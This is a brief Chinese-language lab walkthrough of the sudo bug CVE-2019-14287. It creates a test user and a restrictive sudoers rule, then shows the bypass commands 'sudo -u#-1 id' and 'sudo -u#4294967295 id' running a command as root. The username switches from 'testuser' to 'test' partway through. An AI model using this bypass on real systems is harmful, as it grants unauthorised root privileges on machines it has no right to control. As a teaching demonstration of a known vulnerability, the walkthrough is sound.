CVE-2019-14287 漏洞利用说明

4294967295 Sudo 漏洞允许受限用户以 root 身份运行命令

漏洞演示

添加新用户：

sudo su - root useradd -m -s /bin/bash testuser passwd testuser // 为用户添加密码 visudo

添加新条目

test ALL=(ALL, !root) /usr/bin/id // 指定此用户不能使用 root 用户执行 id 命令

保存文件并退出 root 用户

登录到测试用户

sudo su - test

执行命令

sudo id 您将看到消息：Sorry, user test is not allowed to execute '/usr/bin/id' as root

现在执行命令

sudo -u#-1 id OR sudo -u#4294967295 id

就是这样，您已经使用 root 执行了 id 命令